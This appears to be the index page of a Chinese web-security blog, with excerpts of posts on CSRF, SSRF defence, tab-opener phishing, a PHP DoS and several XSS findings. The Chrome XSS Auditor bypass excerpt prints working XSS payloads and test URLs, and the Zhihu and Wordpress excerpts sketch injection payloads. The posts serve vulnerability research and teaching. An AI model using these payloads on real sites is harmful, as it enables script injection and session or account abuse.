Django DeleteView without confirmation template, but with CSRF attack

作者: 分类: Python 时间: 2016-10-14 0:41 评论: 1条评论 浏览: 1465人看过 标签: CSRF漏洞 django

    随便写点东西吧。

    Django的Class based view十分好用,也很灵活。其中DeleteView( https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/#django.views.generic.edit.DeleteView )有点特别蛋疼的,他理想的流程是这样:点击删除 -> 跳转到确认页面 -> 点击确认删除 -> 删除对象 -> 跳转到success_url。

    这样导致删除的流程特别麻烦,特别是这个“确认页面”:

    sp161014_034704.png

    因为“删除”是一个敏感操作,所以一定要有CSRF防御,所以点击上图这个“是的,我确认”按钮以后,会发送一个POST请求到后端的。Django会自动检查CSRF TOKEN。但实际上,我们也可以操作JavaScript向后端发送PO...

阅读全文>>

谈一谈如何在Python开发中拒绝SSRF漏洞

作者: 分类: Python 时间: 2016-9-30 15:26 评论: 7条评论 浏览: 2035人看过 标签: python ssrf漏洞 requests

0x01 SSRF漏洞常见防御手法及绕过方法

SSRF是一种常见的Web漏洞,通常存在于需要请求外部内容的逻辑中,比如本地化网络图片、XML解析时的外部实体注入、软件的离线下载等。当攻击者传入一个未经验证的URL,后端代码直接请求这个URL,将会造成SSRF漏洞。

具体危害体现在以下几点上:

  • URL为内网IP或域名,攻击者将可以通过SSRF漏洞扫描目标内网,查找内网内的漏洞,并想办法反弹权限
  • URL中包含端口,攻击者将可以扫描并发现内网中机器的其他服务,再进一步进行利用
  • 当请求方法允许其他协议的时候,将可能利用gophar、file等协议进行第三方服务利用,如利用内网的redis获取权限、利用fastcgi进行getshell等

特别是这两年,大量利用SSRF攻击内网服务的案例被爆出来,导致SSRF漏洞慢慢受到重视。这就给Web应用开发者提出了一个难题:如何在保证业务正常的情况下防御SSRF漏洞?

很多开发者认为,只要检查一下请求url的host不为内网IP,即可防御SSRF。这个观点其实提出了两个技术要点:

  1. ...

阅读全文>>

神奇的opener对象

作者: 分类: web前端 时间: 2016-8-30 0:32 评论: 3条评论 浏览: 2502人看过 标签: opener

    看到微博上coding发了一个文章,https://coding.net/u/tvvocold/pp/125176 ,这个玩法比较老了,但可能还是有不少人不知道。大概一年前,在某个曾经很火的白帽子社区,有个白帽子的签名是他的博客,点击浏览完毕以后返回该社区,就会发现:咦,我已经退出登录了?于是重新输入账号、密码登录,成功被钓鱼。该白帽子通过这个方法,应该成功钓到了好几个其他白帽子的密码。(缅怀一下,很多该社区分享的东西,外面不科(chao)普(zuo)根本不知道,说起来很可笑)

    效果类似这个:http://naotu.baidu.com/file/b8a9e8886e91624dfe6bb6f3e2130bda?token=143a14685143a021 ,你在该站中点击我的博客:

    sp160830_012931.png

    成功打开了drops.leavesongs.com。此时留心的话,已经可以看到原标签发生了变化:

    sp160830_013040.png

    转回去看看,变...

阅读全文>>

知乎某处XSS+刷粉超详细漏洞技术分析

作者: 分类: web前端 时间: 2016-4-17 15:13 评论: 8条评论 浏览: 4151人看过 标签: xss CSRF漏洞 知乎

我觉得十分经典的一个漏洞,和大家分享一下~

好久没法前端漏洞分析了,这次来一个。

老问题导致的XSS漏洞

首先看一个XSS漏洞,这个点是老问题了, http://www.wooyun.org/bugs/wooyun-2016-0171240
知乎按照洞主提供的方法进行修复了,但明显是不行的。我们看到 https://link.zhihu.com/?target=http://www.baidu.com 这个链接的源码:

14566414207565.jpg

将输入的信息传入URI参数,解码以后赋值与location.href。明显可以利用JavaScript:伪协议执行js代码。

如下: https://link.zhihu.com/?target=javascript:alert(1)

14566415103785.jpg


如何利用这个漏洞,有如下办法:

  1. 获取用户Cookie
  2. 刷粉、蠕虫等

但经过分析,这两种利用办法都无法直接达到。首先,因为知乎重要cookie加了httponly,所以打不到用户cookie;另外,因为知乎的主站是www.zhihu.com,而xss处于子域l...

阅读全文>>

php7 + nginx + mysql 安装小计

作者: 分类: PHP 时间: 2016-2-9 1:10 评论: 1条评论 浏览: 2650人看过 标签: php php7

【过年了,每天发一篇以前的存货,一共七篇。】

思路是,先用源,安装好php5和php5所依赖的所有项目,再安装phpbrew,通过phpbrew管理php版本,并安装7.0.0。
首先安装一些依赖

apt-get install gcc
apt-get install libmcrypt-dev libreadline-dev

安装php5所依赖的所有项目

apt-get build-dep php5-cli

其中还包括mysql,会让你输入mysql的root密码。
安装完成后,查看此时的php版本,发现是php5.6.14(debian8的系统,源也算新)

14501107090770.jpg

安装phpbrew (https://github.com/phpbrew/phpbrew)

curl -L -O https://github.com/phpbrew/phpbrew/raw/master/phpbrew
chmod +x phpbrew
sudo mv phpbrew /usr/local/bin/phpbrew
phpbrew init

好,实际上就是下载了phpbrew的可执行文件并放到PA...

阅读全文>>

浏览器安全一 / Chrome XSS Auditor bypass

作者: 分类: web前端 时间: 2016-1-16 1:18 评论: 2条评论 浏览: 5427人看过 标签: 浏览器 fliter

私藏比较久的干货,严禁转载。

(2017-01-04 更新)

Bypass 3 via flash

只要支持flash的chrome版本(最新版Chrome 5),均可使用。
context == support flash

<object allowscriptaccess=always> <param name=url value=http://mhz.pw/game/xss/alert.swf> 

test

http://mhz.pw/game/xss/xss.php?xss=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=http://mhz.pw/game/xss/alert.swf%3E


Universal Bypass 2

最新版(Chrome 55/56)无任何条件,只要输出在页面中即可执行代码。
context == null

?xss=<svg><set href=#script attributeName=href to=data:,alert(document.domain) /><script id=script src=foo></script> 

test

http://mhz.pw/game/xss/xss.php?xss=%3Csvg%3E%3Cset%20href=%23script%20attributeName=href%20to=data:,alert(document.domain)%20/%3E%3Cscript%20id=script%20src=foo%3E%3C/script%3E

阅读全文>>

重构Sec-News之路

作者: 分类: Python 时间: 2016-1-12 16:12 评论: 7条评论 浏览: 2608人看过 标签: python sec-news

    不知道什么时候突然发现我已经稳定运行了近半年的sec-news(http://wiki.ioin.in)突然变得特别慢,为跳转效率我也是尝试了很多方法,比如加缓存。我使用了一个叫flask-cache的缓存: https://pythonhosted.org/Flask-Cache/ ,很好用的cache。

    特别喜欢python的一点就是,修饰器(@Decorator)的存在,让很多功能变得简单。flask-cache里有一种cache方式叫Memoization,它可以简单地用Decorator的方式放在任意函数上。根据函数参数的值,来缓存函数的结果。

class Person(db.Model):
    @cache.memoize(50)
    def has_membership(self, role_id):
            return Group.query.filter_by(user=self, role_id=role_id).count() >= 1
    上面是文档里给出的一个example,其缓存了has_membership函数,当我们调用has_membership(1)的时候,就缓存下50秒这个函数的返回值。那么下次再调用has_membership(1)的时候,就会直接返回缓存的结果,但如果你调用has_membership(2),就是另一个缓存了。

    我将flask-cache加到flask的view里,这样就可以缓存整个页面了。

    但是,缓存永远不是解决效率问题的根本方法,解决问题是找到根本原因。我仔细分析了我的sec-news,我认为以前使用的mongodb数据库,是导致整个网站运行慢的原因。

    也的确,我设计mongodb的概念和以前设计mysql的概念完全不同,我设计了这样一个集

阅读全文>>

分享一个jsonp劫持造成的新浪某社区CSRF蠕虫

作者: 分类: web前端 时间: 2015-6-20 15:19 评论: 8条评论 浏览: 5304人看过 标签: CSRF漏洞 jsonp

    最近jsonp很火,实话说已经是被玩烂了的,只是一直没有受到大家的重视。正好在上个月,我挖过一个由于jsonp造成的新浪某社区CSRF,当时是为了准备一篇文章,之后这篇文章也会拿出来分享。

    因为新浪已经修复了问题,所以我先把这个漏洞分享出来。以下是当时写的部分文章。

    

0x01 引子

    听说新浪五月送衣服,我其实也没太多空去挖洞。本来想交一个两年前挖的CSRF刷粉,结果拿出来一看那洞早没了,目标站都换了。

    详细说,就是我那个洞被302跳转到新浪股吧(http://guba.sina.com.cn/)去了。

    最近股市很火啊,多少人在股市里发家致富。于是我简单开着burpsuite在股吧里转了一圈,发现了一处有意思的CSRF。

    新浪...

阅读全文>>

PHP Multipart/form-data remote DOS 防御方案研究

作者: 分类: PHP 时间: 2015-5-21 23:25 评论: 11条评论 浏览: 3655人看过 标签: php 拒绝服务漏洞

    CVE-2015-4024漏洞,据发布时间过去了好几天,我来总结一下。

    这个的DOS漏洞炒得很火,百度安全攻防实验室的小伙伴也很给力。我个人认为漏洞的影响确实很大,毕竟对于一个web应用,拒绝服务攻击可以说是杀死它最简单的方法。这样大张旗鼓地说也很必要,也是一种加速杀死php 5.2/5.3的方式。

    前不久才说了要赶紧弃用php 5.2/5.3事情,这次出了这么大的漏洞,很多用5.3的同学就着急了,各种求5.3的patch。

    漏洞原理在drops的中文文章中(http://drops.wooyun.org/papers/6077)已经解释过了,是由于php没有妥善处理multipart/form-data请求的body part请求头,对于换行内容多次重新申请内存,导致耗尽CPU资源,拒绝服务计算机。

    其实在C语言里会常常遇到这种现象,当你不知道某个buffer究竟要申请多长空间时...

阅读全文>>

Wordpress < 4.1.2 存储型XSS分析与稳定POC

作者: 分类: web前端 时间: 2015-4-27 22:59 评论: 9条评论 浏览: 13404人看过 标签: 富文本 xss

    Wordpress这个XSS实际上是很好用的,匿名用户即可发表并触发,这里给出简单的分析与稳定的好触发的POC。

    其实漏洞的作者已经在文章(https://cedricvb.be/post/wordpress-stored-xss-vulnerability-4-1-2/)里说明了,但文章给的Payload不知道为何在我的测试wp中不能触发。

    这个漏洞的原理很有意思,由MYSQL的一个特性导致,当我们将一个4字节的UTF8字符插入mysql时,mysql将会视之为utf8mb4编码,当将utf8mb4编码的字符插入到UTF8编码的列中,在非strict mode下就会造成一个截断。

    截断的话,就能绕过很多富文本过滤器了。比如,插入两个评论“<img src=1”,和“onerror=alert(1)// ”,这二者都不会触发某些富文本过滤器(因为前者并不含有白名单外的属性,后者并不是一个标签),但两个评论如果存在于同一个...

阅读全文>>

Top ↑ sitemap More